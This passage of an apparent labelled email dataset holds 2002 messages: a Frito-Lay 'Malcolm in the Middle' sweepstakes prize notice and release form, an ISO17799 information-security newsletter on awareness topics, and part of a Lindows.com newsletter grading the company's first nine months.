coupon redeemable at participating retailers for 1 free bag of 3D's(R) brand snacks (up to 7 oz. size), with an approximate retail value of $2.59 and an expiration date of 12/31/02. Follow these instructions to claim your prize: 1. Print out this email message. 2. Complete ALL of the information requested. Print clearly and legibly. Sign where indicated. 3. If you are under 18 or otherwise under the legal age of majority in your state, your parent or legal guardian must co-sign where indicated below. 4. Mail the completed and signed form to: 3D's(R) Malcolm in the Middle(TM) Sweepstakes, Redemption Center, PO Box 1520, Elmhurst IL 60126. WE MUST RECEIVE THIS FORM NO LATER THAN MAY 28, 2002 IN ORDER TO SEND YOU THE PRIZE. PLEASE DO NOT ATTEMPT TO REPLY TO THIS EMAIL. THE ONLY WAY TO CLAIM THE PRIZE IS TO FOLLOW THE INSTRUCTIONS ABOVE. YOUR PRIZE WILL BE MAILED TO YOU WITHIN 6 TO 8 WEEKS OF RECEIPT OF THIS FORM. Once again, on behalf of Frito-Lay, Inc., congratulations and thank you for participating in the Game. Sincerely, Game Security Services PRIZE ACCEPTANCE/RELEASE AND INDEMNIFICATION FORM 3D's(R) Malcolm in the Middle(TM) Sweepstakes 1. My social security number is: _______________________________ 2. My date of birth is: _______________________________________ 3. My telephone number is: __________________________________ 4. My home address is: _____________________________________ _____________________________________ 5. My email address is: _____________________________________ 6. I am a legal resident of the State of: _________________________ 7. I am above the legal age of majority in my state of residence or my parent or legal guardian has co-signed below. 8. I represent that I (1) have fully complied with all of the Official Rules of the Sweepstakes, and (2) have not committed any fraud or deception in participating in the Sweepstakes or in accepting the Prize. 9. By accepting the prize, I (and my parent/legal guardian if I am a minor) agree to release Frito-Lay, Inc. (""Sponsor""), FOX Broadcasting Company, 20th Century FOX Television, Regency Entertainment, their respective parent, subsidiary or affiliated companies, distributors, printing suppliers for this promotion, advertising, fulfillment, judging or promotion agencies, participating retailers, and all of their respective officers, directors, employees, representatives and agents from any liability for, and to hold them harmless against, any liability for injuries, losses or damages of any kind to persons or property resulting in whole or in part, directly or indirectly, from participation in the sweepstakes or acceptance, possession, misuse or use of any prize. Name [print full name]: _______________________________ Signature: _______________________________ Date: _______________________________ IF WINNER IS A MINOR IN HIS OR HER STATE OF RESIDENCE, WINNER'S PARENT OR LEGAL GUARDIAN MUST COMPLETE THE INFORMATION BELOW: I am the parent or legal guardian of the winner who has signed the foregoing Release. I AGREE TO THE TERMS OF THE RELEASE AND CONSENT TO THE ACCEPTANCE OF THE PRIZE ON THE WINNER'S BEHALF. Parent/Guardian's Name [print full name]: _______________________________ Parent/Guardian's Signature: _______________________________ Date: _______________________________ 2002 OFFICIAL RULES 3D's(R) Malcolm in the Middle(TM) Sweepstakes OPEN ONLY TO LEGAL U.S. RESIDENTS LOCATED IN THE U.S. AT THE TIME OF ENTRY. VOID ELSEWHERE AND WHEREVER PROHIBITED BY LAW, INCLUDING BUT NOT LIMITED TO, FLORIDA, PUERTO RICO, U.S. VIRGIN ISLANDS AND U.S. MILITARY INSTALLATIONS LOCATED IN A FOREIGN COUNTRY. NO PURCHASE NECESSARY. PURCHASE DOES NOT IMPROVE CHANCE OF WINNING. MANY WILL ENTER. FEW WILL WIN. ODDS DEPEND ON NUMBER OF ENTRIES RECEIVED. 1. ELIGIBILITY: Open only to legal U.S. residents located in the U.S. at the time of entry, excluding residents of Florida, Puerto Rico, the U.S. Virgin Islands and U.S. military installations located in a foreign country, who had online access on or before 1/26/02. Employees, contractors, directors and officers of Frito-Lay, Inc. (""Sponsor""), FOX Broadcasting Company, 20th Century FOX Television, Regency Entertainment, their respective parent, subsidiary and affiliated companies, distributors, printing suppliers for this promotion, advertising, fulfillment, judging and promotion agencies (collectively, ""Promotion Parties""), and their immediate family members and those living in their same households are not eligible. 2. TO ENTER: Beginning 12:00:01 a.m. E.T. 1/27/02, log on to www.3DsFun.com and click on the link on the home page to locate the official entry form. Follow on-screen directions to properly complete an entry form and send it electronically by 11:59:59 p.m. E.T. 2/11/02. In order for entry to be valid, entrants must click on the ""I accept"" button on the web site. All entries must be received no later than 11:59:59 p.m. E.T. on 2/13/02. LIMIT ONE ENTRY PER PERSON AND/OR E-MAIL ADDRESS. SUBSEQUENT ENTRIES WILL BE DISQUALIFIED. Promotion Parties assume no responsibility for lost, late, misdirected, stolen, undelivered, garbled, damaged, or incomplete entries, or for any computer, online, telephone or technical malfunctions that may occur. Promotion Parties also assume no responsibility for any technical problems in connection with transmission or receipt of online entries including faulty electronic data transmission, traffic congestion on the Internet or on the web site, hardware or software error, equipment failure or malfunction, or other online communications problems. In the event of a dispute regarding the identity of the person submitting an online entry, entries will be declared made by the authorized account holder of the e-mail address submitted at the time of entry. ""Authorized account holder"" is defined as the natural person who is assigned to an e-mail address by an Internet Access provider, online service provider, or other organization (e.g., business, educational institution, etc.) responsible for assigning e-mail addresses for the domain associated with the submitted e-mail address. All entries become the property of Sponsor and will not be returned to entrant. Automated entries (including but not limited to entries made using any script, macro, bot, or sweepstakes service) and facsimiles are not allowed. Potential winner may be requested to provide Sponsor with proof that the potential winner is the authorized account holder of the e-mail address associated with the winning entry. 3. WINNER SELECTION: Winners will be selected in a random drawing to take place on or about 2/28/02 by an independent judging organization, the judge, whose decisions are final and binding on all matters related to the sweepstakes. Odds of winning depend on the number of eligible entries received. Winners will be notified by e-mail. If any prize or correspondence (including e-mail) regarding any prize is returned as non-deliverable, prize may be forfeited and an alternate winner selected. Winners (or winner's parent or legal guardian, if winner is a minor) and Grand Prize winner's travel companions (or companion's parent or legal guardian for any companion who is a minor) will be required to complete, sign and return either a Prize Acceptance/Release and Indemnification form or an Affidavit of Eligibility/Liability Release (as directed by Sponsor), and, where lawful, a Publicity Release within twenty-one (21) days of winners' receipt of documents via e-mail or prize may be forfeited. Grand prize winner (or winner's parent or legal guardian, if winner is a minor) and winner's travel companions will also be required to complete, sign and return a set visit release together with completed I-9 and W-4 forms in order to visit the set of Malcolm in the Middle(TM) as described below in paragraph 4. Prizes won by minors will be awarded to a parent or legal guardian who must sign all required documents. 4. PRIZES: ONE (1) GRAND PRIZE: One trip for winner and 3 travel companions of winner's choosing to Los Angeles, CA to be completed on or before 12/31/02. Trip is for 4 persons but can include up to 8 persons under the following conditions: Among winner and the 3 selected travel companions, each traveler who is a minor in his/her state of residence must be accompanied by a parent or legal guardian of such minor at all times; Sponsor will provide trip accommodations for one parent or legal guardian to accompany him/her. Trip includes round-trip coach air transportation from a major gateway airport near winner's residence within the U.S.; 3 days/2 nights double occupancy standard hotel accommodations in the Los Angeles, CA metropolitan area (airport, carrier and hotel to be selected by Sponsor); accompanied admission to the set of FOX's Malcolm in the Middle(TM) (""MIM"") during a non-filming period selected by FOX to meet Frankie Muniz; and ground transportation between the California airport and hotel, and between the hotel and the MIM set. Grand Prize winner will also receive a check for $2,500, 1 MIM script autographed by Frankie Muniz, one MIM/3D's(R) brand snacks VIP pack (including 1 backpack, 1 book, 1 hat, 1 t-shirt, and 1 case consisting of fifteen 7 oz. bags of RUFFLES(R) 3D's(R) brand Maximum Cheddar flavored snacks). Approximate Retail Value (""ARV""): Between $7,500 and $15,000, depending on winner's point of travel origin and how many persons (up to 8) take the trip. All meals, gratuities, and other expenses associated with prize trip not specifically mentioned in these rules are the winner's sole responsibility. All travel must be taken by the date specified; no alternative travel dates are available. Winner, travel companions, and any necessary parent(s)/legal guardian(s) (the ""travel party"") must travel on same itinerary. In the event that circumstances prevent the travel party from being able to attend the set visit or meet Frankie Muniz, or limit this portion of the Grand Prize in any way, the winner agrees that the Promotion Parties shall have no obligations other than to deliver the remainder of the Grand Prize. FIVE (5) FIRST PRIZES: Manufacturer's coupons redeemable at participating retailers for 52 free 7 oz. bags of any 3D'S(R) brand snacks (with a retail value up to $2.59). ARV: $135. TEN (10) SECOND PRIZES: One MIM/3D's(R) brand snacks VIP pack (including 1 backpack, 1 book, 1 hat, ,1 t-shirt, and 1 case consisting of fifteen 7 oz. bags of RUFFLES(R) 3D's(R) brand Maximum Cheddar flavored snacks). ARV: $100. TWENTY (20) THIRD PRIZES: One MIM t-shirt and one MIM hat. ARV: $30. 100 FOURTH PRIZES: One manufacturer's coupon redeemable at participating retailers for 1 free bag of 3D's(R) brand snacks (up to 7 oz. size). ARV: $2.59. Free product coupons expire and must be redeemed by 12/31/02. No substitution, cash redemptions or transfer of prizes is permitted except at Sponsor's sole discretion. If a prize cannot be awarded for any reason, Sponsor reserves the right to substitute any prize with another prize of equal or greater value. Any portion of a prize not accepted by a winner shall be forfeited. All prizes will be awarded. 5. GENERAL CONDITIONS: Sweepstakes is not to be used in connection with any form of gambling. Prizes will be awarded and/or delivered only to addresses within the United States. Prize winners are solely responsible for any taxes on Prizes. This sweepstakes is subject to all federal, state and local laws, and Grand Prize winner will receive an IRS Form 1099 for the approximate retail value of the prize. By participating, entrants (and their parent(s)/legal guardian(s) if entrants are minors) agree to these Official Rules, Sponsor's Privacy Policy (available at www.3DsFun.com) and to the decisions of the judge, which are final and binding in all respects. If for any reason the sweepstakes is not capable of running as planned; including infection by computer virus, bugs, tampering, unauthorized intervention, fraud, technical failures, or any other causes which corrupt or affect the administration, security, fairness, integrity or proper conduct of the sweepstakes, Sponsor reserves the right, at its sole discretion, to disqualify any individual who is responsible or who tampers with the entry process, and to cancel or terminate the sweepstakes and select the winners from all eligible entries received prior to the cancellation or termination. This sweepstakes is offered only in the United States and is governed by the laws of the state of Texas, with venue in Dallas County, Texas, and all claims must be resolved in the federal or state courts of Dallas County, Texas. 6. LIMITATIONS OF LIABILITY AND RELEASE: By accepting prize, winners (and winners' parent(s)/legal guardian(s) if winners are minors) agree that the Promotion Parties, participating retailers, and all of their respective officers, directors, employees, representatives and agents will have no liability whatsoever for, and shall be held harmless by winners against, any liability for injuries, losses or damages of any kind to persons or property resulting in whole or in part, directly or indirectly, from participation in the sweepstakes or acceptance, possession, misuse or use of any prize. Except if winners are residents of TN or where prohibited by law, winners (and winners' parent(s)/legal guardian(s) if winners are minors) grant (and agree to confirm this grant in writing, if requested) permission for Sponsor and those acting under its authority to use his/her name, photograph, voice and/or likeness, for advertising and/or publicity purposes without additional compensation. 7. WINNERS' LIST: For a list of winners of prizes valued over $25, mail a self-addressed, stamped envelope to be postmarked by 2/11/02 and received by 2/18/02 to: Malcolm in the Middle(TM) Sweepstakes, Winners' List Requests, P.O. Box 1518, Elmhurst, IL 60126. 8. SPONSOR: Frito-Lay, Inc., 7701 Legacy Drive, Plano, TX 75024-4099. (c)2002. Frito-Lay, Inc. All rights reserved. Malcolm in the Middle(TM) and (c)2002 Twentieth Century Fox Film Corporation, Regency Entertainment (USA) Inc. and Monarchy Enterprises S.a.r.l. All rights reserved. (c)2002. FOX BROADCASTING COMPANY",0,0 """The ISO17799 Newsletter"" ","""Xxxxxxxx.Yyyyyyyyyyyyy@ruhr-uni-bochum.de"" ","Mon, 24 Jun 2002 19:07:18 +0100",The ISO17799 Newsletter - Issue 4,"______________________________________________________ THE ISO17799 NEWSLETTER - EDITION 4 ______________________________________________________ Welcome to the fourth edition of the ISO17799 newsletter, designed to keep you abreast of news and developments with respect to ISO17799 and information security. The information contained in this newsletter is absolutely free to our subscribers and provides guidance on various practical issues, plus commentary on recent Information Security incidents. Guidance and information included in this issue: 1) The ISO17799 Toolkit Uncovered 2) Social Engineering - Are you Susceptible? 3) ISO17799: A World Wide Phenomena 4) Stranger Danger 5) ISO17700: More Frequently Asked Questions 6) Credit Card Transactions - Minimize the Risks 7) BSI Certifications - Congratulations 8) ISO17799 Section 11 - BCP Review 9) It Couldn't Happen Here.... Could It? 10) Subscription Information THE ISO17799 TOOLKIT UNCOVERED ============================== The ISO17799 standard can be acquired either stand alone or as part of an introductory pack appropriately called 'The ISO17799 Toolkit'. But why was it packaged thus, and what is included in the pack? The purpose of the toolkit is to help organizations get off to a flying start with respect to ISO17799... not only to understand the standard itself but to begin to address many of the standard's requirements more quickly. The contents can be broken down into two groups: those that help the organization to understand where ISO17799 fits and what is involved in embracing it, and those that help an organization to take the first critical steps to compliance. In the former group are the 'RoadMap to Certification' (which broadly describes the process of gaining certification), the 'XL Management Presentation' (which explains the history, background and current status of the standard) and of course the ISO17799 standard itself (both parts). In the latter group are some key items to aid compliance. These include a comprehensive set of ISO17799 compliant security policies to address section 3 (Security Policy) and business continuity audit checklists to help address section 11 (Business Continuity Management). It doesn't end there, however. For the audit section there is a detailed set of audit questionnaires to address various issues and platforms. For newcomers to information security there is even a substantial glossary of terms. Clearly, creating such a toolkit was a significant undertaking. However, in terms of helping organizations exploring the initial stages of ISO17799, it can be invaluable. More information on the ISO17799 Toolkit and how to purchase can be found at: http://www.iso17799-made-easy.com The standard itself can alternatively be procured from: http://www.iso17799.net SOCIAL ENGINEERING - ARE YOU SUSCEPTIBLE? ========================================= The term 'social engineering' can conjure up a variety of ideas, usually based around the concept of genetic tampering. However, when applied to IT security, it has its own implications and its own vocabulary. Following interviews with known computer criminals, a list of approaches has been produced. These are designed to gather information without the target even realizing that they have parted with it. The attempts are often made on an opportune bases, with common locations for this sort of activity being planes, trains and pubs. The telephone is probably the major source of pre-meditated acts. The following are some of the major techniques employed: BAITING This essentially involves asking a variety of questions, including some leading questions designed to 'catch' the right answers. Often, items of conversation are introduced based upon replies received. The fiction is legitimized with small amounts of fact in the right places. PULLING RANK This amounts ot the perpetrator assuming a more senior position in the company than the victim and is usually enacted on the telephone. It does not necessitate direct impersonation... only the POSITION needs to be assumed. EXHAUSTING This involves asking a constant stream of similar questions to wear down the target. SURF BOARDING Basically this is looking over someone's shoulder at something confidential. This could be directly, through a window, through a doorway, etc. SURVEYS The information given freely in surveys can often be extremely useful to a criminal. The surveys can initially be for entirely legitimate purposes, or can be completely bogus from the start. In either case sensitive information can often be obtained and unwittingly disclosed. There are of course many other techniques. However, disclosure can be prevented via the use of a series of common sense rules and policies. Before releasing any information it is essential to at least establish: a) the sensitivity of the information b) your authority to exchange or release the information c) the real identity of the third party (proper authentication) d) the purpose of the exchange The act of exchange should also be recorded for audit purposes. ISO17799 - A WORLD WIDE PHENOMINA ================================= Disney would have said ""it's a small world after all"", but the global take on of ISO17799 proves that organizations the planet over are embracing it with enthusiasm. To illustrate the global nature of the standard, we recently created a table from the last 500 purchases of the standard from the ISO17799 Electronic Shop (www.iso17799.net). The figures below do come with a serious health warning though - the Electronic Shop is a credit card purchase system. Some cultures are not as comfortable or familiar as others with credit card purchase and will therefore have their purchase position significantly understated. An example is India, which acquires substantial numbers of the standard, only two of which show in the last 500 from the download location. That aside, the table makes interesting reading: Argentina 1 Australia 6 Austria 5 Barbados 2 Belgium 5 Bermuda 1 Bosnia and Herzegovina 1 Brasil 2 Brazil 4 Canada 52 Cayman Islands 1 Chile 3 China 3 Colombia 5 Costa Rica 1 Croatia 1 Cyprus 1 Denmark 5 Deutschland 5 Egypt 4 England 26 France 3 Germany 20 Greece 3 Guatemala 1 Hong Kong 7 Hungary 1 India 2 Indonesia 2 Ireland 11 Isle of Man 1 Israel 1 Italia 1 Italy 20 Japan 3 Malaysia 5 Mexico 9 Netherlands 3 New Zealand 2 Northern Ireland 1 Norway 10 NZ 1 Panama 1 Portugal 1 Russia 3 Sacramento 1 Scotland 3 Singapore 9 Slovak Republic 1 Slovenia 1 South Africa 4 Spain 9 Sultanate of Oman 1 Sweden 3 Switzerland 14 Taiwan 3 Thailand 2 The Netherlands 8 Tunisia 1 Turkey 1 U.A.E 1 UK 51 United Arab Emirates 2 United Kingdom 24 United States 13 United States of America 25 USA 176 Venezuela 2 STRANGER DANGER =============== As you read this article, look around at your working environment. The items/information you have to hand may not seem very sensitive because you deal with them every day... but now look again. If you were alone and not a member of staff, how would you view them? What would you find if you looked around? Picture yourself as a visitor passing through. What can you hear in terms of conversation? What can you see? The chances are that you can hear and see quite a lot that you would not want to be openly disclosed to the outside world. If this is the case, the security of your information is at risk potentially from every visitor, stranger, subcontractor, etc. This article is not written with the intention of discrediting visitors, but nonetheless, it is important to be fully AWARE of what CAN happen if due caution is not exercised. The following guidelines may help in ensuring that the risks are minimized: * Your reception/visitor area should issue distinctive badges and ensure that visitors wear them * Consider using different colored badges for each day of the week. * Challenge those who are not displaying any identity badges * If your location issues identity badges - make sure YOU wear yours * Do not be afraid to ask someone who they are visiting and what they are doing * Do not be lazy... escort visitors from reception (if applicable)... don't let them make their way to you * Do not hold doors open for people not displaying their ID * Do not leave visitors alone ISO17799 - MORE FREQUENTLY ASKED QUESTIONS ========================================== 1) How many controls are there in the standard? Part 1 is organized into 10 sections. There are 127 main controls and over 500 detailed controls in total. 2) What is part 2? Part 2 basically explains how to apply the standard itself, and how to build and operate an information security management system. 3) How old is it? The standard stems from an original publication in 1993, from the DTI in the UK. It became BS7799 in 1995 and of course ISO17799 in 2000. 4) What is accreditation? An accreditation body can authorize others to ""certify"" third parties under the standard (p2). A number of accreditation bodies exist in different countries. 5) Is certification for life? No. It is normally for three year periods. 6) ISO17799 is used throughout the world, but was it internationally created? Yes indeed. The latest versions included input from representatives from many nations, including Australia, Brazil, Germany, Norway, UK and USA, amongst others. 7) Is it linked to a specific national legal system? No. It is generic in terms of legislation. CREDIT CARD TRANSACTIONS: MINIMIZE THE RISKS ============================================ The use of credit and debit cards to purchase goods and services has become an everyday convenience that we take for granted, but there are associated information security risks which we should pause to consider, especially when making payments over the Internet. Web sites are becoming an increasingly popular means of purchasing goods and services, but they have also become popular targets for cyber criminals, who often use stolen credit card numbers to purchase goods, which can then be easily exchanged for cash. There are also relatively simple technologies now readily available which could be used by hackers to surreptitiously steal vast amounts of money, a few pounds at a time, from millions of people. A survey by the IT research company Gartner (http://www.gartner.com) predicted that Internet crime involving the ""mass victimization"" of consumers could take place by the end of this year. We recommend the following best practice guidelines to minimize the risks involved in credit card transactions: * Ensure that credit cards used to purchase goods or services on the Internet have a low credit limit, or if debit cards are used, that they have limited funds and are only topped up to cover specific Internet purchases. * All expenses incurred through Internet transactions should be carefully audited on a regular basis for any anomalies. * Only enter credit card details on a Web site if you are confident as to its authenticity and that the connection is secure - the prefix https (as opposed to the usual http) in the Web Site address indicates a secure connection. * If the security of a Web site is in doubt, any confidential information posted to it may be exposed to malicious intent. Be extremely cautious when posting confidential details on any site where the Internet Service Provider hosting the site is not verified. Note that we have pre-checked all sites referenced in this newsletter for security! * If ordering by telephone using a credit card, ensure that you are talking to the correct person. If you are unsure whether the organization you are dealing with will handle your details sensitively, pay by some other means. * Lost or stolen credit card details may be used for Internet transactions. Inform the card issuer and relevant person within your organization immediately if a company credit card is lost or stolen. BSI - CERTIFICATIONS ==================== Congratulations to all the following who have been certified by BSI with respect to BS7799 Part2 for at least one system in at least one location: 7 Global, Accordis Acetate Chemicals Limited, Alenia Marconi Systems Ltd, American Society of Quality, AMOUN Pharmaceutical Co (Egypt), Attenda Limited, Business Coach IT Management, CADWEB Limited, Camelot Group Plc, Capita Business Services, Dai-Ichi Kangyo Bank Limited, DBI Consulting, Digex, DNP Facility Services Co Limited (Japan), Ericsson ESPA A S.A., Glaxo Wellcome Manufacturing (Singapore),GlaxoSmithKline, Hanvit Bank Korea, Hyundai Information Technology, Icfox International, Intergalis, Logic Systems Management, Macquarie Corporate Telecommunications Pty Limited Australia, Netstore Plc, NTT Data Corp, Paramount Computer Systems (UAE), PCCW Business eSolutions Hong Kong, S-Cube Inc, Serious Fraud Office, Siemens Business Services Trust Center (Munich), Stiki EHF (Iceland), Sony Bank Inc (Japan), Co-operative Bank Plc, The University of Texas, Total Network Solutions Limited, Unisys Limited, Vodafone Telecommerce GMBH, Volex Group Plc We intend to produce a more complete list in a future newsletter. We will also include certificates issued by the growing number of other certification bodies across the world. ISO17799 SECTION 11: BCP REVIEW =============================== Business continuity planning is covered by section 11 of the standard, a core requirement of which is the creation and maintenance of a business continuity plan. Creating such a plan from scratch is a difficult undertaking of course. This is one reason why software products were produced. Unfortunately these often become problematic in themselves... difficult to learn, expensive, etc. Recent times have therefore seen a move to simplification, with organizations keen to avoid adding complexity to an already complex task. At the vanguard of this change was a product developed entirely in MS-Word: The BCP Generator. This was designed from top down to simplify business continuity planning. It comprises two components: a plan template and an interactive guide (the latter using Word macros to jump to and fro into the correct part of the template). It's impact upon the business continuity scene has been substantial, with organizations from the very largest to the smallest embracing the tool and its concepts. It is in active use in over 40 countries. With this change of emphasis in the business continuity planning market, there is now NO excuse for not creating a full recovery plan. The old lines of ""too expensive"" and ""too difficult"" are now less hollow than they ever were. Although section 11 is very clear with respect to the need of a comprehensive plan, it is surely also a matter of due diligence to have one, and equally, irresponsibility not to have one. For information on the BCP Generator see: http://www.disaster-recovery-plan.com For information on business continuity generally, see: http://www.yourwindow.to/business-continuity/ IT COULDN'T HAPPEN HERE....COULD IT? ==================================== Every issue of The ISO17799 Newsletter features at least one TRUE story of an information security breach and its consequences. Again, in this issue, we focus upon 'low tech' but high impact incidents: 1) On 25th October a contract programmer who had once worked for a large US based bank walked into the 'inner sanctum' of the main building (the security guards remembered him as someone permitted to do so). In the dealing room he claimed to be conducting a quality audit and interrogated a junior employee and watched a program run - noting down security codes as they were entered. He then left and hung around outside until just after normal trading time. He then rang the Bank from a public phone box and initiated an electronic funds transfer using the codes... $10.2m to a Swiss account. The plan nearly failed when he found that he had noted one of the codes incorrectly, but he rang the Bank department back and incredibly managed to trick a different employee into revealing the correct digit. He flew to Switzerland and later returned with the money. He was caught simply because he couldn't resist boasting about his great feat. When the police contacted the bank they were still totally unaware of their loss! 2) Remote, or dial-in access can be a real Achilles heel if not properly controlled. In a recent case a young hacker gained access to a major company's system by using the default password of a system engineer (which had never been changed!). This gave him considerable scope and powers of access. To cover for himself, however, he semi-disabled the machine log, changed a number of user passwords, created several fictitious privileged users and tampered with the dial back system. Getting more ambitious he established a communication link with another computer and ended up making it crash. All this took place over a couple of evenings. To recover from the havoc the installation had to close down its prime computer and restore from the previous weeks back-up, at considerable cost. 3) Over a period of nine months, the number of computer malfunctions within a large company had risen from an average of two per year to critical levels. The impact was such that the business fell behind with its invoicing systems and had to buy processing and backup from third parties. As it could not deliver some of its services reliably, it started to lose the confidence of its customers. The situation began to spiral. Eventually, the company suspected foul play may be involved and called the police. Secret surveillance equipment was installed to monitor staff. One was filmed lightly scratching circuit boards in disk units and also attaching paper clips to them. Both these actions led to a short circuit. When confronted, he confessed everything. His motive was to earn overtime, which was required to process the overlap work which was delayed by the malfunction. He netted 689 UKP over the 9 months. The company lost at least 500,000 UKP. CONTRIBUTIONS ============= Have you got something to say on the topic of ISO17799... a fresh insight or some information which might benefit others? If so, please feel free to contribute your submission to us. ISO17799 NEWSLETTER REMINDER ============================ We hope that you have found this newsletter to be informative, and hopefully useful in helping to address the ISO17799 issue. Future editions will pursue these ends further (and will include interviews, case studies and more). Subscription to the ISO17799 Newsletter is free. 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Weitere Informationen finden Sie unter http://f2m.xpedite.de =20",0,1 """Michael Robertson"" ",Xxxxxxxxx.Yyyyyyy@web.de,"Wed, 26 Jun 2002 16:34:04 -0800",Lindows.com: Michael's Minute: Lindows.com Report Card,"------=_LINDOWS_1890362a5620f32f969ae58b8fe2ef84 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit If this message is not displaying properly, click here to launch it in your browser. Michael's Minute: Lindows.com Report Card As summer arrives, many school children are coming home with their report cards. I thought this would be a good time to see what kind of grades Lindows.com received for their first 9 months in operation.. To view the Timeline of Lindows.com's first 9 months in business, click here . Operating System: As of last week, consumers can experience LindowsOS in one of two ways. One way is to buy a computer running LindowsOS from Walmart.com , for as little as $299. This is a significant milestone for us, as we've partnered with our first builder (Microtel) and retailer (Walmart). These computers work great out of the box and are ideal for general purpose computing tasks. For those who already have a computer and also wish to try LindowsOS, we offer the Insider program . This gives people wanting early access to LindowsOS a chance to try out LindowsOS as it develops. Currently, Insiders report installation success about 80% of the time on their PCs. Therefore we have some room to grow, consequently, this product is not yet for everyone. Some may wonder how we can sell a computer at Walmart when the program available directly from Lindows.com is billed as not completely ready. The difference is the Walmart computers are certified, ensuring that all components work elegantly with LindowsOS. That's much different than offering a software program that will work on any computer in the world - that's very difficult. It's the difference between making a single pair of shoes for a known foot size versus opening a shoe store with every style of shoe for every size foot. The first one is easy, the second one is a much bigger job. While the installer is fantastically easy and fast (the entire OS installs in under 5 minutes), we've got a lot more work to do to support a wider range of hardware, printers and other devices. Grade: B _____ Software: Our goal to give people choice means giving them choice not just on their operating system, but access to all the programs they'll want to add to their computer to really make it work for them in their school, home or business. Click-N-Run is the easiest way to load software onto a computer. For the first time a Linux based system has leapt ahead of Microsoft's operating systems in ease of use. With 1,000 plus programs already in the Click-N-Run Warehouse , users can find quality software titles for just about any computing task and, with a single mouse-click download, install and run these programs. All these titles are included in the $99. This is a fantastic consumer experience and price point. Look for a lot more great software in the Warehouse in the future. Grade: A- _____ Microsoft Windows Compatibility: We live in a Microsoft world, so there needs to be a bridge from the legacy world to the broadband LindowsOS world. This means we need to support some bridge programs, file types and network devices to help people interact with the legacy Microsoft world. LindowsOS computers come with software to view, print and copy popular Microsoft applications like: MS Word files, MS PowerPoint files and MS Excel documents. There's great Linux based alternatives and we'll guide people to those alternatives (they're better than most people realize). To edit Microsoft files, we'd highly recommend one of the office suites in our Warehouse such as OpenOffice . Many of these programs are of very high-quality and a great value since they're included in the Warehouse . Sometimes there are no viable alternatives for those programs, so we're investing necessary resources to support some Microsoft Windows based programs. Stay tuned for more developments in this area. Our printer support is ok, but there's lots of room for more drivers. Connecting to MS Windows based file servers is still a challenge. We need to get better in the above areas. Grade: B _____ Communication: We've tried to be diligent in communicating where our company is going which is why there's typically a weekly Michael's Minute . While our overall goal has not deviated - Bringing Choice To Your Computer - our implementation has become more focused as we listened to what our Insiders and potential customers have told us. (Keep sending me your comments.) We have been de-emphasizing running Microsoft Windows programs because many of you told us you detest spending hundreds of dollars on individual software programs, forced upgrades and activation codes. It's not just the operating system, but costly Microsoft programs you're wanting to avoid. Consequently, we've been emphasizing Click-N-Run because it will change the way you think about software. Having a neatly categorized library of 1,000+ software titles all for a flat annual fee at your digital fingertips is an entirely new way to think about paying for software. It's immediate, elegant and affordable. There are lots of mischaracterizations about Lindows.com swirling around - which happens when you have a small organization which can't address every question or publication. We'll do a better job of addressing these in the future. For now, I wrote up answers to the Top Myths about Lindows.com. Check them out by visiting: www.lindows.com/myths Grade: B+ _____ Overall: B+ Michael Robertson Please visit support.lindows.com to answer questions you may have about LindowsOS or Lindows.com. Bringing Choice to Your Computer! LindowsOS is presently available on LindowsOS Certified Computers being offered from Lindows.com Builder partners. The General Release of LindowsOS (available now for download and preview to Lindows.com Insider partners) will be made available later this year for those wishing to install and run LindowsOS on their existing computer hardware. The General Release version will support a wider range of computer hardware and includes unique features such as a ""Friendly-Install"" alongside an existing MicrosoftR Windows operating system, a streamlined installation process which requires no computer knowledge, and the ability to run a select set of ""bridge"" Windows-compatible programs. For more information see www.lindows.com/products LindowsOS and Lindows.com are trademarks of Lindows.com, Inc. LinuxR is a registered trademark of Linus Torvalds. MicrosoftR WindowsR operating system is a registered trademark or service mark of the Microsoft Corporation. mm18 ___________________________________________________________ To change your mailing list options please go to www.lindows.com/update ------=_LINDOWS_1890362a5620f32f969ae58b8fe2ef84 Content-Type: text/html; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Message          If this=20 message is not displaying properly, click=20 here to launch it in your browser. Michael’s = Minute:=20 Lindows.com Report Card As summer arrives, = many school=20 children are coming home with their report cards.  I = thought=20 this would be a good time to see what kind of grades = Lindows.com=20 received for their first 9 months in = operation..  To view=20 the Timeline of Lindows.com's first 9 months in business, click here. = Operating System:   As = of last week,=20 consumers can experience LindowsOS in one of two ways. One = way is to=20 buy a computer running LindowsOS from Walmart.com, for = as little=20 as $299. This is a significant milestone for us, as we've = partnered=20 with our first builder (Microtel) and retailer (Walmart). = These=20 computers work great out of the box and are ideal for = general=20 purpose computing tasks. For = those who=20 already have a computer and also wish to try LindowsOS, we = offer the=20 Insider = program. This=20 gives people wanting early access to LindowsOS a chance to = try out=20 LindowsOS as it develops. Currently, Insiders report = installation=20 success about 80%  of the time on their PCs. Therefore = we have=20 some room to grow, consequently, this product is not yet for = everyone. Some = may wonder=20 how we can sell a computer at Walmart when the = program=20 available directly from Lindows.com is billed as not = completely=20 ready. The difference is the Walmart = computers are=20 certified, ensuring that all components  work elegantly = with=20 LindowsOS. That's much different than offering a software = program=20 that will work on any computer in the world - = that's very=20 difficult. It's the difference between making a single = pair of=20 shoes for a known foot size versus opening a shoe store with = every=20 style of shoe for every size foot. The first one is easy, = the second=20 one is a much bigger job. While the=20 installer is fantastically easy and fast (the entire OS = installs in=20 under 5 minutes), we've got a lot more work to do to support = a wider=20 range of hardware, printers and other devices. Grade: =20 B Software:=20 Our = goal to give=20 people choice means giving them choice not just on their = operating=20 system, but access to all the programs they'll want to add = to their=20 computer to really make it work for them in their school, = home or=20 business. Click-N-Run is = the=20 easiest way to load software onto a computer. For the first = time a=20 Linux based system has leapt ahead of Microsoft's operating = systems=20 in ease of use. With 1,000 plus programs already in the Click-N-Run = Warehouse,=20 users can find quality software titles for just about any = computing=20 task and, with a single mouse-click download, install and = run these=20 programs. All these titles are included in the $99. This is = a=20 fantastic consumer experience and price point. Look for a=20 lot more great software in the Warehouse in the = future. =20 Grade:=20 A- Microsoft=20 Windows Compatibility: We = live in a=20 Microsoft world, so there needs to be a bridge from the = legacy world=20 to the broadband LindowsOS world. This means we need to = support some=20 bridge programs, file types and network devices to help = people=20 interact with the legacy Microsoft world. LindowsOS = computers come=20 with software to view, print and copy popular Microsoft = applications=20 like: MS Word files, MS PowerPoint files and MS Excel = documents.=20 There's great Linux based alternatives and we'll guide = people to=20 those alternatives (they're better than most people = realize). To=20 edit Microsoft files, we'd highly recommend one of the = office suites=20 in our Warehouse such as Op= enOffice.=20 Many = of these=20 programs are of very high-quality and 